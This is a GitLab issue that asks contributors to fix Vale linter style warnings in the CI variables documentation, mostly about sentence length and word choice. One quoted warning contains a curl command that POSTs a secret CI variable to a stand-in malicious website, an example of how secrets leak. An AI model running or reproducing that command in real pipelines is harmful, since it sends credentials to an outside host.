Improve CI variables doc based on Vale warnings/suggestions
Unless you're a Tichtov student, please do not take this issue, or create an MR for it.
Problem to solve
The Vale linter is used to support grammar linting in GitLab documentation. As Vale was implemented after many of the GitLab documents were written, we have many documentation pages that do not meet the linting standards created by the GitLab Technical Writing team for Vale.
Further details
As an example, here's the output from a Vale test on the doc/ci/variables/README.md file:
README.md
15:1 warning Shorter sentences improve gitlab.SentenceLength
readability (max 25 words).
65:1 warning Shorter sentences improve gitlab.SentenceLength
readability (max 25 words).
160:7 warning Curl commands must wrap gitlab.CurlStringsQuoted
URLs in double quotes ("):
curl --request POST --data
"secret_variable=$SECRET_VARIABLE"
https://maliciouswebsite.abcd/
184:1 warning Shorter sentences improve gitlab.SentenceLength
readability (max 25 words).
292:35 warning Shorter sentences improve gitlab.SentenceLength
readability (max 25 words).
432:43 warning Shorter sentences improve gitlab.SentenceLength
readability (max 25 words).
434:51 warning Shorter sentences improve gitlab.SentenceLength
readability (max 25 words).
462:21 warning If possible, use gitlab.SubstitutionWarning
"administrator" instead of
"admin".
569:1 warning Shorter sentences improve gitlab.SentenceLength
readability (max 25 words).
612:42 suggestion Avoid words like "currently" gitlab.CurrentStatus
that promise future changes.
704:1 warning Shorter sentences improve gitlab.SentenceLength
readability (max 25 words).
722:1 warning Shorter sentences improve gitlab.SentenceLength
readability (max 25 words).
788:16 suggestion Avoid words like "currently" gitlab.CurrentStatus
that promise future changes.
823:82 warning Avoid using future tense: gitlab.FutureTense
"will work"
859:1 warning Shorter sentences improve gitlab.SentenceLength
readability (max 25 words).
1051:163 warning If possible, use gitlab.SubstitutionWarning
"configuration" instead of
"Config".
1051:163 warning Spelling check: "Config"? gitlab.Spelling
1051:314 warning Shorter sentences improve gitlab.SentenceLength
readability (max 25 words). Each of these messages point to a specific line:column in the noted file.
Proposal
Consider each error message, and see if you can rewrite the noted file with a solution. You do NOT need to address all issues in the list, this is simply the full output from Vale.
Who can address the issue
Anyone with an understanding of basic written US English. Ideally, that person should also have some domain expertise in the subject area.
Additional notes
We appreciate any help that you can provide. If you cannot resolve some of the issues, that is OK, your contributions are still appreciated. And thank you!